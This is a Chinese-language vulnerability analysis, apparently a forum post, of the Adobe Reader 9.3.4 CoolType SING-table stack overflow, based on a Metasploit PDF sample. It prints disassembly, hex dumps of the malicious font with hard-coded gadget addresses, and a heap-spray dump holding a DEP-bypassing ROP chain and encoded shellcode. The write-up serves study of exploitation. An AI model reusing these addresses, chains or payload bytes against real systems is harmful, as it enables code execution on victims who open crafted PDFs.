题目:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
作者:仙果
主页:http://hi.baidu.com/zhanglinguo11

目录:
0x1.漏洞描述
0x2.测试环境
0x3.漏洞触发原理分析
0x4.漏洞利用及绕过DEP相关技术分析
0x5.总结

题记:之所以称之为千年等一回,是因为很难得能碰到一个栈溢出漏洞,而且这个漏洞的利用还非常的怪异:一个栈溢出漏洞还需要堆喷射结合起来才能够很好的利用.
  Adobe Reader此时送上了这个漏洞,千年等一回啊,确实需要仔细的分析一下,以下是自己的分析总结,其中必然有不正确的地方,欢迎批评指正。某位大牛说可以不用JavaScript填充
  就可以做到稳定利用,我等小菜实在是不知道该如何做,还请大牛指点一二。

0x1.漏洞描述
  Adobe Reader的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户受骗打开了特制的PDF文件就可能导致执行任意代码。
  
0x2.测试环境
  系统:Windows XP SP3
  软件:Adboe Reader 9.3.4
  调试软件及其他:Windbg 010editor notepad++ IDA
  
0x3.漏洞触发原理分析
  样本为1个,Metaspoit生成。漏洞触发原理分析使用Metaspoit生成的样本。
  这是一个典型的栈溢出漏洞,其直接调用strcat不安全字符串操作函数,导致栈顶(esp)被覆盖,这与之前暴风影音爆出来的M3U文件格式的漏洞如出一辙,我有一篇分析,大家可以参考下。
  链接地址为:http://bbs.pediy.com/showthread.php?t=112633

代码:
  .text:0803DD5D                 push    offset aName    ; "name"
  .text:0803DD62                 push    edi             ; int
  .text:0803DD63                 lea     ecx, [ebp+var_1C]
  .text:0803DD66                 mov     [ebp+var_11], 0
  .text:0803DD6A                 call    sub_80217D7
  .text:0803DD6F                 cmp     [ebp+var_1C], esi
  .text:0803DD72                 jnz     short loc_803DDDD
  .text:0803DD74                 push    offset aSing    ; "SING"
  .text:0803DD79                 push    edi             ; int
  .text:0803DD7A                 lea     ecx, [ebp+var_24] 
  .text:0803DD7D                 call    sub_8021B06      //处理"SING"表,
  .text:0803DD82                 mov     eax, [ebp+var_24]   //指向恶意数据,其实是SING表,已经被修改为恶意数据
  .text:0803DD85                 cmp     eax, esi        //比较eax,esi
  .text:0803DD87                 mov     byte ptr [ebp+var_4], 2
  .text:0803DD8B                 jz      short loc_803DDC4   //相等则跳,这里不条
  .text:0803DD8D                 mov     ecx, [eax]      //把eax指向的内容赋给 ecx
  .text:0803DD8F                 and     ecx, 0FFFFh
  .text:0803DD95                 jz      short loc_803DD9F  //这里跳转
  .text:0803DD97                 cmp     ecx, 100h
  .text:0803DD9D                 jnz     short loc_803DDC0
  .text:0803DD9F
  .text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
  .text:0803DD9F                 add     eax, 10h        //跳过sizeof(USHORT)*8
  .text:0803DDA2                 push    eax             ; Source 把源地址压入堆栈
  .text:0803DDA3                 lea     eax, [ebp+0]    //目的地址
  .text:0803DDA6                 push    eax             ; Dest //这里就是目的地址
  .text:0803DDA7                 mov     byte ptr [ebp+0], 0
  .text:0803DDAB                 call    strcat    //这里调用strcat函数,覆盖栈顶(ESP)
    函数执行原型为:
  strcat(StackMemcpy,SINGTable->uniqueName),由于恶意的uniqueName
  
  这又是一个文件格式类的漏洞,下面来解释下TTF文件格式,资料是从网络上搜集到的,这里进行引用
  前置知识:little endian和big endian的概念解释
  ittle endian和big endian是表示计算机字节顺序的两种格式,所谓的字节顺序指的是长度跨越多个字节的数据的存放形式. 
          假设从地址0x00000000开始的一个字中保存有数据0x1234abcd,那么在两种不同的内存顺序的机器上从字节的角度去看的话分别表示为: 
         1)little endian:在内存中的存放顺序是0x00000000-0xcd,0x00000001-0xab,0x00000002-0x34,0x00000003-0x12 
         2)big  endian:在内存中的存放顺序是0x00000000-0x12,0x00000001-0x34,0x00000002-0xab,0x00000003-0xcd 
         需要特别说明的是,以上假设机器是每个内存单元以8位即一个字节为单位的. 
         简单的说,ittle endian把低字节存放在内存的低位;而big endian将低字节存放在内存的高位. 
         现在主流的CPU,intel系列的是采用的little endian的格式存放数据,而motorola系列的CPU采用的是big endian. 
         
  TrueType字体用machintosh的轮廓字体资源的格式编码,有一个唯一的标记名"sfnt"。windows没有macintosh的位图字体资源格式,
  字体目录包含了字体格式的版本号和几个表,每个表都有一个tableentry结构项,tableentry结构包含了资源标记、校验和、偏移量和每个表的大小。下面是TrueType字体目录的c语言定义:
代码:
  typedef   sturct
  {
  char   tag[4];// 标记,如”SING”
  ULONG   checkSum;// 校验和
  ULONG   offset;// 相对文件的偏移
  ULONG   length;// 数据长度
  }TableEntry;
   TrueType   字体中的所有数据都使用big-endian编码,最高位字节在最前面(因为TrueType字体最初是由apple公司定义的,而apple公司的os运行在motorola的cpu上)。
   如果一TrueType字体以00   01   00   00   ,00   17开头,我们就可以知道它的格式是轮廓字体资源("sfnt")版本1.0的格式,有23个表。
   TableDirectory结构的最后一个字段是可变长度的tableentry结构的数组,字体中的每个表对应其中一项。TrueType字体中的每个表都保存了不同的逻辑信息
   -----如图元中数据、字符到图元的映射、字距调整信息等等。有表是必须的,有些是可选的。下表列出了TrueType字体中常见的表。
    
代码:
  head           字体头                                           字体的全局信息
  cmap           字符代码到图元的映射               把字符代码映射为图元索引
  glyf           图元数据                                       图元轮廓定义以及网格调整指令
  maxp           最大需求表                                   字体中所需内存分配情况的汇总数据
  mmtx           水平规格                                       图元水平规格
  loca           位置表索引                                   把元索引转换为图元的位置
  name           命名表                                           版权说明、字体名、字体族名、风格名等等
  hmtx           水平布局                                       字体水平布局星系:上高、下高、行间距、最大前进宽度、最小左支撑、最小右支撑
  kerm           字距调整表                                   字距调整对的数组
  post           PostScript信息                           所有图元的PostScript   FontInfo目录项和PostScript名
  PCLT           PCL   5数据                                     HP   PCL   5Printer   Language   的字体信息:字体数、宽度、x高度、风格、记号集等等
  OS/2           OS/2和Windows特有的规格         TrueType字体所需的规格集
  没有查找到SING表具体的作用,只查找到了SING表的数据结构如图(1):
  


  对比样本中数据:
代码:
00E0h: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47  .G.:..?... SING 
00F0h: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74  偌鹊.......ost 
0100h: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70  /?.隔...rep 
0110h: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00  ;.?.. ?..h.... 
0120h: 01 0E 00 01 00 00 00 00 00 00 00 3A 41 41 41 41  ...........:AAAA 
0130h: 41 41 41 41 7E C5 06 08 0C 0C 0C 0C 41 41 41 41  AAAA~?.....AAAA   //调用0x081586a5后,执行这里
0140h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0150h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0160h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0170h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0180h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0190h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
01F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0200h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0210h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0220h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0230h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0240h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0250h: 41 41 41 41 41 41 41 41 41 41 41 41 44 10 23 08  AAAAAAAAAAAAD.#. //070013fa处调用0x08231044
0260h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0270h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0280h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0290h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
02F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0300h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0310h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0320h: 41 41 41 41 A5 86 15 08 41 41 41 41 41 41 41 41  AAAA..AAAAAAAA   //0x081586a5
0330h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0340h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0350h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA 
0360h: 41 41 41 41 41 41 41 41 6C 00 00 00 41 41 41 41  AAAAAAAAl...AAAA 
代码:
  其中
  0500h: 53 49 4E 47 D9 BC C8 B5 00 00 01 1C 00 00 1D DF  SING偌鹊.......?
  就是SING表表目录结构:
  typedef   sturct_SING
  {
  char   tag[4];// 标记:"SING"
  ULONG   checkSum;// 校验和:"0xD9BCC8B5"
  ULONG   offset;// 相对文件的偏移:"0x0000011C "
  ULONG   length;// 数据长度:"0x00001DDF"
  }TableEntry;
  
  此时返回汇编代码看
  .text:0803DD74                 push    offset aSing    ; "SING"
  .text:0803DD79                 push    edi             ; int
  .text:0803DD7A                 lea     ecx, [ebp+var_24] 
  .text:0803DD7D                 call    sub_8021B06      //处理"SING"表,
  .text:0803DD82                 mov     eax, [ebp+var_24]   //指向SING表结构的起始地址
  .text:0803DD85                 cmp     eax, esi        
  .text:0803DD87                 mov     byte ptr [ebp+var_4], 2
  .text:0803DD8B                 jz      short loc_803DDC4   
  .text:0803DD8D                 mov     ecx, [eax]      
  .text:0803DD8F                 and     ecx, 0FFFFh
  .text:0803DD95                 jz      short loc_803DD9F  //跳转
  .text:0803DD97                 cmp     ecx, 100h
  .text:0803DD9D                 jnz     short loc_803DDC0
  .text:0803DD9F
  .text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
  .text:0803DD9F                 add     eax, 10h        //跳过sizeof(USHORT)*8,跳过0x10个字节,指向uniqueName
  .text:0803DDA2                 push    eax             ; Source 把源地址(指向uniqueName)压入堆栈
  .text:0803DDA3                 lea     eax, [ebp+0]    //目的地址
  .text:0803DDA6                 push    eax             ; Dest //这里就是目的地址
  .text:0803DDA7                 mov     byte ptr [ebp+0], 0
  .text:0803DDAB                 call    strcat    //这里调用strcat函数,覆盖栈顶(ESP)
  [ebp+var_24]赋给eax,这样,eax就指向了SING表的起始位置,观察图(1)中SING表的数据结构
  add eax,10h指向了uniqueName ,其定义是28个字节的长度,但样本中已经被填充了恶意数据,不止28个字节
  而程序在调用strcat之前,没有对uniqueName的数据长度进行验证,这就是漏洞触发的根本原因。
  
0x4.漏洞利用及绕过DEP相关技术分析
    上面分析了漏洞的触发原理,现在来讨论下此漏洞在利用中的相关技术。由于Adobe Reader的版本9.2之后就引入了DEP技术,默认开启了DEP保护,在刚开始的时候对PDF漏洞的利用造成了很大的困扰,
    但功夫不负有心人不知道是国外还是国内的高手创造了通过"ROR绕过DEP"的方法,具体原理大家可以搜索泉哥的文章,上面有详细的介绍,我这里就不解释了,这里给出链接:http://bbs.pediy.com/showthread.php?t=119300
    想说的是这个漏洞在利用ROR技术的同时也很巧妙的构造了跳转的地址,有很强的技巧性,不得不佩服写这个漏洞利用的高手,我在下面会一一的解释。
    首先是Metaspoit的样本
代码:
  070013f2 55              push    ebp
  070013f3 8bec            mov     ebp,esp
  070013f5 51              push    ecx
  070013f6 51              push    ecx
  070013f7 8d411c          lea     eax,[ecx+1Ch]
  070013fa 8945f8          mov     dword ptr [ebp-8],eax ss:0023:0012e44c=08231044
  070013fd 8b45f8          mov     eax,dword ptr [ebp-8]
  07001400 f0ff08          lock dec dword ptr [eax]
  07001403 0f9445ff        sete    byte ptr [ebp-1]
  07001407 807dff00        cmp     byte ptr [ebp-1],0
  0700140b 7405            je      BIB+0x1412 (07001412)
  0700140d e8a3ffffff      call    BIB+0x13b5 (070013b5)
  Adobe Reader会在070013fa处引用08231044这个地址,0x28231044是样本中的数据(可以自行验证),之所以这么做是因为此处需要一个可读写的地址并且保证函数执行流程完毕能够返回上层调用函数。
  这个地址寻找起来特别麻烦,如果不对Adobe Reader各个函数流程精确掌握的话是很难找到这个地址,最起码我是没有找到,在写其他版本下的利用的时候,需要修改这个值。
代码:
  0808b2dc c686e000000001  mov     byte ptr <Unloaded_ame.dll>+0xdf (000000e0)[esi],1
  0808b2e3 8b473c          mov     eax,dword ptr [edi+3Ch]
  0808b2e6 3bc3            cmp     eax,ebx
  0808b2e8 8986f4020000    mov     dword ptr <Unloaded_ame.dll>+0x2f3 (000002f4)[esi],eax
  0808b2ee 899ef8020000    mov     dword ptr <Unloaded_ame.dll>+0x2f7 (000002f8)[esi],ebx
  0808b2f4 895dfc          mov     dword ptr [ebp-4],ebx
  0808b2f7 7507            jne     CoolType!CTInit+0x44c5d (0808b300)
  0808b2f9 32c0            xor     al,al
  0808b2fb e994020000      jmp     CoolType!CTInit+0x44ef1 (0808b594)
  0808b300 8d4dfc          lea     ecx,[ebp-4]
  0808b303 51              push    ecx
  0808b304 53              push    ebx
  0808b305 6a03            push    3
  0808b307 50              push    eax
  0808b308 ff10            call    dword ptr [eax]      ds:0023:0012e6d0=081586a5
  
  程序在0808b308处执行call [eax],而eax的值是样本中的数据:0x081586a5
  081586a5 81c594070000    add     ebp,offset <Unloaded_ame.dll>+0x793 (00000794)
  081586ab c9              leave
  081586ac c3              ret
  
  ret后
  0806c57e 5c              pop     esp  
  0806c57f c3              ret
  0x0806c57e也是样本中的数据,此时可以发现从上一步开始程序的执行流程已经被改变,接下来才到重头戏:绕过DEP
代码:
  0:000> d 0c0c0c0c
  0c0c0c0c 19 49 00 07 cc cc cc cc ef 48 00 07 6f 15 00 07 cc cc cc cc 84 90 00 07 84 90 00  .I.......H..o..............
  0c0c0c27 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 33 90 00 07 84 90 00 07 0c 0c  .................3.........
  0c0c0c42 0c 0c 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84  ...........................
  0c0c0c5d 90 00 07 84 90 00 07 99 15 00 07 24 01 01 00 f7 72 00 07 04 01 01 00 bb 15 00 07  ...........$....r..........
  0c0c0c78 00 10 00 00 4d 15 00 07 bb 15 00 07 00 03 fe 7f b2 7f 00 07 bb 15 00 07 11 00 01  ....M......................
  0c0c0c93 00 ac a8 00 07 bb 15 00 07 00 01 01 00 ac a8 00 07 f7 72 00 07 11 00 01 00 e2 52  ..................r.......R
  0c0c0cae 00 07 54 5c 00 07 ff ff ff ff 00 01 01 00 00 00 00 00 04 01 01 00 00 10 00 00 40  ..T\......................@
  0c0c0cc9 00 00 00 31 d7 00 07 bb 15 00 07 5a 90 54 90 4d 15 00 07 22 a7 00 07 bb 15 00 07  ...1.......Z.T.M...".......
  0c0c0ce4 5a eb 15 58 4d 15 00 07 22 a7 00 07 bb 15 00 07 8b 1a 89 18 4d 15 00 07 22 a7 00  Z..XM..."...........M..."..
  0c0c0cff 07 bb 15 00 07 83 c0 04 83 4d 15 00 07 22 a7 00 07 bb 15 00 07 c2 04 81 fb 4d 15  .........M..."...........M.
  0c0c0d1a 00 07 22 a7 00 07 bb 15 00 07 0c 0c 0c 0c 4d 15 00 07 22 a7 00 07 bb 15 00 07 75  .."...........M...".......u
  0c0c0d35 ee eb 05 4d 15 00 07 22 a7 00 07 bb 15 00 07 e8 e6 ff ff 4d 15 00 07 22 a7 00 07  ...M..."...........M..."...
  0c0c0d50 bb 15 00 07 ff 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00  ........M..."...........M..
  0c0c0d6b 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 ff ff  ."...........M...".........
  0c0c0d86 ff 90 4d 15 00 07 31 d7 00 07 2f 11 00 07 da ca be 10 f6 36 ef 33 c9 d9 74 24 f4  ..M...1.../........6.3..t$.
  0c0c0da1 5a b1 49 31 72 19 83 c2 04 03 72 15 f2 03 ca 07 7b eb 33 d8 1b 65 d6 e9 09 11 92  Z.I1r.....r.....{.3..e.....
  0c0c0dbc 58 9d 51 f6 50 56 37 e3 e3 1a 90 04 43 90 c6 2b 54 15 c7 e0 96 34 bb fa ca 96 82  X.Q.PV7.....C..+T....4.....
  0c0c0dd7 34 1f d7 c3 29 d0 85 9c 26 43 39 a8 7b 58 38 7e f0 e0 42 fb c7 95 f8 02 18 05 77  4...)...&C9.{X8~..B.......w
  0c0c0df2 4c 80 2d df 6d b1 e2 3c 51 f8 8f f6 21 fb 59 c7 ca cd a5 8b f4 e1 2b d2 31 c5 d3  L.-.m..<Q...!.Y.......+.1..
  0c0c0e0d a1 49 35 69 b1 89 47 b5 34 0c ef 3e ee f4 11 92 68 7e 1d 5f ff d8 02 5e 2c 53 3e  .I5i..G.4..>....h~._...^,S>
  0c0c0e28 eb d3 b4 b6 af f7 10 92 74 96 01 7e da a7 52 26 83 0d 18 c5 d0 37 43 82 15 05 7c  ........t..~..R&.....7C...|
  0c0c0e43 52 32 1e 0f 60 9d b4 87 c8 56 12 5f 2e 4d e2 cf d1 6e 12 d9 15 3a 42 71 bf 43 09  R2..`....V._.M...n...:Bq.C.
  0c0c0e5e 81 40 96 9d d1 ee 49 5d 82 4e 3a 35 c8 40 65 25 f3 8a 0e cf 09 5d 4e 0f 12 9c d8  .@....I].N:5.@e%.....]N....
  0c0c0e79 0d 12 8f 44 98 f4 c5 64 cc af 71 1c 55 3b e3 e1 40 41 23 69 66 b5 ea 9a 03 a5 9b  ...D...d..q.U;..@A#if......
  0c0c0e94 6a 5e 97 0a 74 75 b2 b2 e0 71 15 e4 9c 7b 40 c2 02 84 a7 58 8a 10 08 37 f3 f4 88  j^..tu...q...{@....X...7...
  0c0c0eaf c7 a5 9e 88 af 11 fa da ca 5d d7 4e 47 c8 d7 26 3b 5b bf c4 62 ab 60 36 41 2d 5d  .........].NG..&;[..b.`6A-]
  0c0c0eca e1 ac ab 97 87 dc 77 41 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c  ......wA...................
  可以看出0x0c0c0c0c也是样本中的数据,其被巧妙的填充为绕过DEP的代码且首地址为0x07004919,何等的华丽巧妙!
  
0x5.总结
  纵观漏洞,从触发到利用,无处不透露着编写者巧妙的思路以及扎实的基础。第一使程序在070013fa处正常执行,并能够返回上层函数。
  第二通过两次对函数地址的引用以及准确的堆填充,使程序流程精确的跳转到绕过DEP的代码。第三精心构造PDF使其加载没有地址随机化的DLL,使漏洞可以针对Win7系统。
  第四同一个PDF文档可以针对不同的Adobe Reader版本。漏洞利用是一门艺术,而这些就是自己学习的目标。
msf.pdf.rar